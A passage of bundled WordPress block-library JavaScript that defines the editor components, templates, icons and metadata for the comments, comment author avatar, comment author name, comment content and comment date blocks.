8940 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("footer", { className: "comment-meta", children: [
8941 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "comment-author vcard", children: [
8942 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8943 "img",
8944 {
8945 alt: (0,external_wp_i18n_namespaceObject.__)("Commenter Avatar"),
8946 src: avatarURL,
8947 className: "avatar avatar-32 photo",
8948 height: "32",
8949 width: "32",
8950 loading: "lazy"
8951 }
8952 ),
8953 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("b", { className: "fn", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: "#top", className: "url", children: (0,external_wp_i18n_namespaceObject.__)("A WordPress Commenter") }) }),
8954 " ",
8955 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "says", children: [
8956 (0,external_wp_i18n_namespaceObject.__)("says"),
8957 ":"
8958 ] })
8959 ] }),
8960 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "comment-metadata", children: [
8961 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: "#top", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", { dateTime: "2000-01-01T00:00:00+00:00", children: (0,external_wp_i18n_namespaceObject.__)("January 1, 2000 at 00:00 am") }) }),
8962 " ",
8963 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "edit-link", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8964 "a",
8965 {
8966 className: "comment-edit-link",
8967 href: "#top",
8968 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
8969 }
8970 ) })
8971 ] })
8972 ] }),
8973 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "comment-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { children: [
8974 (0,external_wp_i18n_namespaceObject.__)("Hi, this is a comment."),
8975 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
8976 (0,external_wp_i18n_namespaceObject.__)(
8977 "To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard."
8978 ),
8979 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
8980 (0,external_wp_element_namespaceObject.createInterpolateElement)(
8981 (0,external_wp_i18n_namespaceObject.__)(
8982 "Commenter avatars come from <a>Gravatar</a>."
8983 ),
8984 {
8985 a: (
8986 // eslint-disable-next-line jsx-a11y/anchor-has-content
8987 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: "https://gravatar.com/" })
8988 )
8989 }
8990 )
8991 ] }) }),
8992 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "reply", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8993 "a",
8994 {
8995 className: "comment-reply-link",
8996 href: "#top",
8997 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
8998 "Reply to A WordPress Commenter"
8999 ),
9000 children: (0,external_wp_i18n_namespaceObject.__)("Reply")
9001 }
9002 ) })
9003 ] }) }) }),
9004 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "navigation", children: [
9005 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "alignleft", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("a", { href: "#top", children: [
9006 "\xAB ",
9007 (0,external_wp_i18n_namespaceObject.__)("Older Comments")
9008 ] }) }),
9009 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "alignright", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("a", { href: "#top", children: [
9010 (0,external_wp_i18n_namespaceObject.__)("Newer Comments"),
9011 " \xBB"
9012 ] }) })
9013 ] }),
9014 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(form_default, { postId, postType })
9015 ] });
9016}
9017
9018
9019;// ./node_modules/@wordpress/block-library/build-module/comments/edit/comments-legacy.js
9020
9021
9022
9023
9024
9025
9026function CommentsLegacy({
9027 attributes,
9028 setAttributes,
9029 context: { postType, postId }
9030}) {
9031 const { textAlign } = attributes;
9032 const actions = [
9033 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9034 external_wp_components_namespaceObject.Button,
9035 {
9036 __next40pxDefaultSize: true,
9037 onClick: () => void setAttributes({ legacy: false }),
9038 variant: "primary",
9039 children: (0,external_wp_i18n_namespaceObject.__)("Switch to editable mode")
9040 },
9041 "convert"
9042 )
9043 ];
9044 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
9045 className: dist_clsx({
9046 [`has-text-align-${textAlign}`]: textAlign
9047 })
9048 });
9049 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9050 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9051 external_wp_blockEditor_namespaceObject.AlignmentControl,
9052 {
9053 value: textAlign,
9054 onChange: (nextAlign) => {
9055 setAttributes({ textAlign: nextAlign });
9056 }
9057 }
9058 ) }),
9059 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
9060 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { actions, children: (0,external_wp_i18n_namespaceObject.__)(
9061 "Comments block: You\u2019re currently using the legacy version of the block. The following is just a placeholder - the final styling will likely look different. For a better representation and more customization options, switch the block to its editable mode."
9062 ) }),
9063 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostCommentsPlaceholder, { postId, postType })
9064 ] })
9065 ] });
9066}
9067
9068
9069;// ./node_modules/@wordpress/block-library/build-module/comments/edit/template.js
9070const TEMPLATE = [
9071 ["core/comments-title"],
9072 [
9073 "core/comment-template",
9074 {},
9075 [
9076 [
9077 "core/columns",
9078 {},
9079 [
9080 [
9081 "core/column",
9082 { width: "40px" },
9083 [
9084 [
9085 "core/avatar",
9086 {
9087 size: 40,
9088 style: {
9089 border: { radius: "20px" }
9090 }
9091 }
9092 ]
9093 ]
9094 ],
9095 [
9096 "core/column",
9097 {},
9098 [
9099 [
9100 "core/comment-author-name",
9101 {
9102 fontSize: "small"
9103 }
9104 ],
9105 [
9106 "core/group",
9107 {
9108 layout: { type: "flex" },
9109 style: {
9110 spacing: {
9111 margin: {
9112 top: "0px",
9113 bottom: "0px"
9114 }
9115 }
9116 }
9117 },
9118 [
9119 [
9120 "core/comment-date",
9121 {
9122 fontSize: "small"
9123 }
9124 ],
9125 [
9126 "core/comment-edit-link",
9127 {
9128 fontSize: "small"
9129 }
9130 ]
9131 ]
9132 ],
9133 ["core/comment-content"],
9134 [
9135 "core/comment-reply-link",
9136 {
9137 fontSize: "small"
9138 }
9139 ]
9140 ]
9141 ]
9142 ]
9143 ]
9144 ]
9145 ],
9146 ["core/comments-pagination"],
9147 ["core/post-comments-form"]
9148];
9149var template_default = TEMPLATE;
9150
9151
9152;// ./node_modules/@wordpress/block-library/build-module/comments/edit/index.js
9153
9154
9155
9156
9157
9158function CommentsEdit(props) {
9159 const { attributes, setAttributes, clientId } = props;
9160 const { tagName: TagName, legacy } = attributes;
9161 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
9162 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
9163 template: template_default
9164 });
9165 if (legacy) {
9166 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentsLegacy, { ...props });
9167 }
9168 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9169 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9170 CommentsInspectorControls,
9171 {
9172 attributes,
9173 setAttributes,
9174 clientId
9175 }
9176 ),
9177 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...innerBlocksProps })
9178 ] });
9179}
9180
9181
9182;// ./node_modules/@wordpress/block-library/build-module/comments/save.js
9183
9184
9185function comments_save_save({ attributes: { tagName: Tag, legacy } }) {
9186 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
9187 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
9188 return legacy ? null : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
9189}
9190
9191
9192;// ./node_modules/@wordpress/block-library/build-module/comments/index.js
9193
9194
9195
9196
9197
9198
9199const { name: comments_name } = comments_block_namespaceObject;
9200const comments_settings = {
9201 icon: post_comments_default,
9202 example: {},
9203 edit: CommentsEdit,
9204 save: comments_save_save,
9205 deprecated: comments_deprecated_deprecated_default
9206};
9207const comments_init = () => initBlock({ name: comments_name, metadata: comments_block_namespaceObject, settings: comments_settings });
9208
9209
9210;// ./node_modules/@wordpress/block-library/build-module/comment-author-avatar/block.json
9211const comment_author_avatar_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":"fse","name":"core/comment-author-avatar","title":"Comment Author Avatar (deprecated)","category":"theme","ancestor":["core/comment-template"],"description":"This block is deprecated. Please use the Avatar block instead.","textdomain":"default","attributes":{"width":{"type":"number","default":96},"height":{"type":"number","default":96}},"usesContext":["commentId"],"supports":{"html":false,"inserter":false,"__experimentalBorder":{"radius":true,"width":true,"color":true,"style":true},"color":{"background":true,"text":false,"__experimentalDefaultControls":{"background":true}},"spacing":{"__experimentalSkipSerialization":true,"margin":true,"padding":true},"interactivity":{"clientNavigation":true}}}');
9212;// ./node_modules/@wordpress/block-library/build-module/comment-author-avatar/edit.js
9213
9214
9215
9216
9217
9218
9219function comment_author_avatar_edit_Edit({
9220 attributes,
9221 context: { commentId },
9222 setAttributes,
9223 isSelected
9224}) {
9225 const { height, width } = attributes;
9226 const [avatars] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
9227 "root",
9228 "comment",
9229 "author_avatar_urls",
9230 commentId
9231 );
9232 const [authorName] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
9233 "root",
9234 "comment",
9235 "author_name",
9236 commentId
9237 );
9238 const avatarUrls = avatars ? Object.values(avatars) : null;
9239 const sizes = avatars ? Object.keys(avatars) : null;
9240 const minSize = sizes ? sizes[0] : 24;
9241 const maxSize = sizes ? sizes[sizes.length - 1] : 96;
9242 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
9243 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
9244 const maxSizeBuffer = Math.floor(maxSize * 2.5);
9245 const { avatarURL } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9246 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
9247 const { __experimentalDiscussionSettings } = getSettings();
9248 return __experimentalDiscussionSettings;
9249 });
9250 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Settings"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9251 external_wp_components_namespaceObject.RangeControl,
9252 {
9253 __nextHasNoMarginBottom: true,
9254 __next40pxDefaultSize: true,
9255 label: (0,external_wp_i18n_namespaceObject.__)("Image size"),
9256 onChange: (newWidth) => setAttributes({
9257 width: newWidth,
9258 height: newWidth
9259 }),
9260 min: minSize,
9261 max: maxSizeBuffer,
9262 initialPosition: width,
9263 value: width
9264 }
9265 ) }) });
9266 const resizableAvatar = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9267 external_wp_components_namespaceObject.ResizableBox,
9268 {
9269 size: {
9270 width,
9271 height
9272 },
9273 showHandle: isSelected,
9274 onResizeStop: (event, direction, elt, delta) => {
9275 setAttributes({
9276 height: parseInt(height + delta.height, 10),
9277 width: parseInt(width + delta.width, 10)
9278 });
9279 },
9280 lockAspectRatio: true,
9281 enable: {
9282 top: false,
9283 right: !(0,external_wp_i18n_namespaceObject.isRTL)(),
9284 bottom: true,
9285 left: (0,external_wp_i18n_namespaceObject.isRTL)()
9286 },
9287 minWidth: minSize,
9288 maxWidth: maxSizeBuffer,
9289 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9290 "img",
9291 {
9292 src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : avatarURL,
9293 alt: `${authorName} ${(0,external_wp_i18n_namespaceObject.__)("Avatar")}`,
9294 ...blockProps
9295 }
9296 )
9297 }
9298 );
9299 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9300 inspectorControls,
9301 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...spacingProps, children: resizableAvatar })
9302 ] });
9303}
9304
9305
9306;// ./node_modules/@wordpress/block-library/build-module/comment-author-avatar/index.js
9307
9308
9309
9310
9311const { name: comment_author_avatar_name } = comment_author_avatar_block_namespaceObject;
9312const comment_author_avatar_settings = {
9313 icon: comment_author_avatar_default,
9314 edit: comment_author_avatar_edit_Edit
9315};
9316const comment_author_avatar_init = () => initBlock({ name: comment_author_avatar_name, metadata: comment_author_avatar_block_namespaceObject, settings: comment_author_avatar_settings });
9317
9318
9319;// ./node_modules/@wordpress/icons/build-module/library/comment-author-name.js
9320
9321
9322var comment_author_name_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: [
9323 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9324 external_wp_primitives_namespaceObject.Path,
9325 {
9326 d: "M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z",
9327 fillRule: "evenodd",
9328 clipRule: "evenodd"
9329 }
9330 ),
9331 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9332 external_wp_primitives_namespaceObject.Path,
9333 {
9334 d: "M15 15V15C15 13.8954 14.1046 13 13 13L11 13C9.89543 13 9 13.8954 9 15V15",
9335 fillRule: "evenodd",
9336 clipRule: "evenodd"
9337 }
9338 ),
9339 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Circle, { cx: "12", cy: "9", r: "2", fillRule: "evenodd", clipRule: "evenodd" })
9340] });
9341
9342
9343;// ./node_modules/@wordpress/block-library/build-module/comment-author-name/block.json
9344const comment_author_name_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comment-author-name","title":"Comment Author Name","category":"theme","ancestor":["core/comment-template"],"description":"Displays the name of the author of the comment.","textdomain":"default","attributes":{"isLink":{"type":"boolean","default":true},"linkTarget":{"type":"string","default":"_self"},"textAlign":{"type":"string"}},"usesContext":["commentId"],"supports":{"html":false,"spacing":{"margin":true,"padding":true},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-comment-author-name"}');
9345;// ./node_modules/@wordpress/block-library/build-module/comment-author-name/edit.js
9346
9347
9348
9349
9350
9351
9352
9353
9354function comment_author_name_edit_Edit({
9355 attributes: { isLink, linkTarget, textAlign },
9356 context: { commentId },
9357 setAttributes
9358}) {
9359 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
9360 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
9361 className: dist_clsx({
9362 [`has-text-align-${textAlign}`]: textAlign
9363 })
9364 });
9365 let displayName = (0,external_wp_data_namespaceObject.useSelect)(
9366 (select) => {
9367 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
9368 const comment = getEntityRecord("root", "comment", commentId);
9369 const authorName = comment?.author_name;
9370 if (comment && !authorName) {
9371 const user = getEntityRecord("root", "user", comment.author);
9372 return user?.name ?? (0,external_wp_i18n_namespaceObject.__)("Anonymous");
9373 }
9374 return authorName ?? "";
9375 },
9376 [commentId]
9377 );
9378 const blockControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9379 external_wp_blockEditor_namespaceObject.AlignmentControl,
9380 {
9381 value: textAlign,
9382 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
9383 }
9384 ) });
9385 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9386 external_wp_components_namespaceObject.__experimentalToolsPanel,
9387 {
9388 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
9389 resetAll: () => {
9390 setAttributes({
9391 isLink: true,
9392 linkTarget: "_self"
9393 });
9394 },
9395 dropdownMenuProps,
9396 children: [
9397 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9398 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
9399 {
9400 label: (0,external_wp_i18n_namespaceObject.__)("Link to authors URL"),
9401 isShownByDefault: true,
9402 hasValue: () => !isLink,
9403 onDeselect: () => setAttributes({
9404 isLink: true
9405 }),
9406 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9407 external_wp_components_namespaceObject.ToggleControl,
9408 {
9409 __nextHasNoMarginBottom: true,
9410 label: (0,external_wp_i18n_namespaceObject.__)("Link to authors URL"),
9411 onChange: () => setAttributes({ isLink: !isLink }),
9412 checked: isLink
9413 }
9414 )
9415 }
9416 ),
9417 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9418 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
9419 {
9420 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
9421 isShownByDefault: true,
9422 hasValue: () => linkTarget !== "_self",
9423 onDeselect: () => setAttributes({
9424 linkTarget: "_self"
9425 }),
9426 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9427 external_wp_components_namespaceObject.ToggleControl,
9428 {
9429 __nextHasNoMarginBottom: true,
9430 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
9431 onChange: (value) => setAttributes({
9432 linkTarget: value ? "_blank" : "_self"
9433 }),
9434 checked: linkTarget === "_blank"
9435 }
9436 )
9437 }
9438 )
9439 ]
9440 }
9441 ) });
9442 if (!commentId || !displayName) {
9443 displayName = (0,external_wp_i18n_namespaceObject._x)("Comment Author", "block title");
9444 }
9445 const displayAuthor = isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9446 "a",
9447 {
9448 href: "#comment-author-pseudo-link",
9449 onClick: (event) => event.preventDefault(),
9450 children: displayName
9451 }
9452 ) : displayName;
9453 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9454 inspectorControls,
9455 blockControls,
9456 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: displayAuthor })
9457 ] });
9458}
9459
9460
9461;// ./node_modules/@wordpress/block-library/build-module/comment-author-name/deprecated.js
9462
9463const comment_author_name_deprecated_v1 = {
9464 attributes: {
9465 isLink: {
9466 type: "boolean",
9467 default: false
9468 },
9469 linkTarget: {
9470 type: "string",
9471 default: "_self"
9472 }
9473 },
9474 supports: {
9475 html: false,
9476 color: {
9477 gradients: true,
9478 link: true
9479 },
9480 typography: {
9481 fontSize: true,
9482 lineHeight: true,
9483 __experimentalFontFamily: true,
9484 __experimentalFontWeight: true,
9485 __experimentalFontStyle: true,
9486 __experimentalTextTransform: true,
9487 __experimentalLetterSpacing: true
9488 }
9489 },
9490 save() {
9491 return null;
9492 },
9493 migrate: migrate_font_family_default,
9494 isEligible({ style }) {
9495 return style?.typography?.fontFamily;
9496 }
9497};
9498var comment_author_name_deprecated_deprecated_default = [comment_author_name_deprecated_v1];
9499
9500
9501;// ./node_modules/@wordpress/block-library/build-module/comment-author-name/index.js
9502
9503
9504
9505
9506
9507const { name: comment_author_name_name } = comment_author_name_block_namespaceObject;
9508const comment_author_name_settings = {
9509 icon: comment_author_name_default,
9510 edit: comment_author_name_edit_Edit,
9511 deprecated: comment_author_name_deprecated_deprecated_default,
9512 example: {}
9513};
9514const comment_author_name_init = () => initBlock({ name: comment_author_name_name, metadata: comment_author_name_block_namespaceObject, settings: comment_author_name_settings });
9515
9516
9517;// ./node_modules/@wordpress/icons/build-module/library/comment-content.js
9518
9519
9520var comment_content_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9521 external_wp_primitives_namespaceObject.Path,
9522 {
9523 fillRule: "evenodd",
9524 clipRule: "evenodd",
9525 d: "M6.68822 16.625L5.5 17.8145L5.5 5.5L18.5 5.5L18.5 16.625L6.68822 16.625ZM7.31 18.125L19 18.125C19.5523 18.125 20 17.6773 20 17.125L20 5C20 4.44772 19.5523 4 19 4H5C4.44772 4 4 4.44772 4 5V19.5247C4 19.8173 4.16123 20.086 4.41935 20.2237C4.72711 20.3878 5.10601 20.3313 5.35252 20.0845L7.31 18.125ZM16 9.99997H8V8.49997H16V9.99997ZM8 14H13V12.5H8V14Z"
9526 }
9527) });
9528
9529
9530;// ./node_modules/@wordpress/block-library/build-module/comment-content/block.json
9531const comment_content_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comment-content","title":"Comment Content","category":"theme","ancestor":["core/comment-template"],"description":"Displays the contents of a comment.","textdomain":"default","usesContext":["commentId"],"attributes":{"textAlign":{"type":"string"}},"supports":{"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}},"spacing":{"padding":["horizontal","vertical"],"__experimentalDefaultControls":{"padding":true}},"html":false},"style":"wp-block-comment-content"}');
9532;// ./node_modules/@wordpress/block-library/build-module/comment-content/edit.js
9533
9534
9535
9536
9537
9538
9539
9540function comment_content_edit_Edit({
9541 setAttributes,
9542 attributes: { textAlign },
9543 context: { commentId }
9544}) {
9545 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
9546 className: dist_clsx({
9547 [`has-text-align-${textAlign}`]: textAlign
9548 })
9549 });
9550 const [content] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
9551 "root",
9552 "comment",
9553 "content",
9554 commentId
9555 );
9556 const blockControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9557 external_wp_blockEditor_namespaceObject.AlignmentControl,
9558 {
9559 value: textAlign,
9560 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
9561 }
9562 ) });
9563 if (!commentId || !content) {
9564 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9565 blockControls,
9566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject._x)("Comment Content", "block title") }) })
9567 ] });
9568 }
9569 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9570 blockControls,
9571 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: content.rendered }, "html") }) })
9572 ] });
9573}
9574
9575
9576;// ./node_modules/@wordpress/block-library/build-module/comment-content/index.js
9577
9578
9579
9580
9581const { name: comment_content_name } = comment_content_block_namespaceObject;
9582const comment_content_settings = {
9583 icon: comment_content_default,
9584 edit: comment_content_edit_Edit,
9585 example: {}
9586};
9587const comment_content_init = () => initBlock({ name: comment_content_name, metadata: comment_content_block_namespaceObject, settings: comment_content_settings });
9588
9589
9590;// ./node_modules/@wordpress/icons/build-module/library/post-date.js
9591
9592
9593var post_date_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
9594 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.696 13.972c.356-.546.599-.958.728-1.235a1.79 1.79 0 00.203-.783c0-.264-.077-.47-.23-.618-.148-.153-.354-.23-.618-.23-.295 0-.569.07-.82.212a3.413 3.413 0 00-.738.571l-.147-1.188c.289-.234.59-.41.903-.526.313-.117.66-.175 1.041-.175.375 0 .695.08.959.24.264.153.46.362.59.626.135.265.203.556.203.876 0 .362-.08.734-.24 1.115-.154.381-.427.87-.82 1.466l-.756 1.152H14v1.106h-4l1.696-2.609z" }),
9595 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.5 7h-15v12a.5.5 0 00.5.5h14a.5.5 0 00.5-.5V7zM3 7V5a2 2 0 012-2h14a2 2 0 012 2v14a2 2 0 01-2 2H5a2 2 0 01-2-2V7z" })
9596] });
9597
9598
9599;// ./node_modules/@wordpress/block-library/build-module/comment-date/block.json
9600const comment_date_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comment-date","title":"Comment Date","category":"theme","ancestor":["core/comment-template"],"description":"Displays the date on which the comment was posted.","textdomain":"default","attributes":{"format":{"type":"string"},"isLink":{"type":"boolean","default":true}},"usesContext":["commentId"],"supports":{"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-comment-date"}');
9601;// external ["wp","date"]
9602const external_wp_date_namespaceObject = window["wp"]["date"];
9603;// ./node_modules/@wordpress/block-library/build-module/comment-date/edit.js
9604
9605
9606
9607
9608
9609
9610
9611function comment_date_edit_Edit({
9612 attributes: { format, isLink },
9613 context: { commentId },
9614 setAttributes
9615}) {
9616 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
9617 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
9618 let [date] = (0,external_wp_coreData_namespaceObject.useEntityProp)("root", "comment", "date", commentId);
